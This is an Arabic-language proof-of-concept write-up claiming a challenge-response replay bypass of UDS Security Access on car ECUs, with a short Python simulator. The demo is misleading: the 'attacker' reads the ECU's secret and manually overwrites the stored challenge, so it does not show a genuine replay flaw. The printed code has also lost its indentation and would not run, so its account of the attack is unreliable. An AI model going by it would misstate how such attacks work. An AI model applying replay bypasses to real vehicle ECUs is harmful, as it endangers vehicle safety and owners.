
استغلال إثبات مفهوم يوضح تجاوز مصادقة UDS عبر إعادة إرسال التحدي والاستجابة على وحدات التحكم الإلكترونية (ECUs) في السيارات، مع محاكي CAN-UDS بلغة بايثون.
# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib
class ECU:
def __init__(self):
self.secret = b'long_secret_key'
def generate_challenge(self):
self.challenge = random.randbytes(8)
return self.challenge
def verify_response(self, response):
expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
return response == expected
def unlock(self):
print("ECU unlocked! Critical functions accessible.")
# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response) # first unlock
# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response) # second unlock without new challenge - works
ecu.unlock()
تنفّذ وحدة التحكم الإلكترونية (ECU) في السيارة الوصول الأمني لخدمات التشخيص الموحدة (UDS) (الخدمة 0x27) ولكنها لا تفرض استخدام التحدي لمرة واحدة. يمكن للمهاجم التقاط زوج صالح من التحدي والاستجابة وإعادة إرساله لتجاوز المصادقة.
شغّل المحاكاة:
python uds_sim.py
تقوم وحدة ECU بإلغاء القفل مرتين باستخدام نفس زوج المصادقة.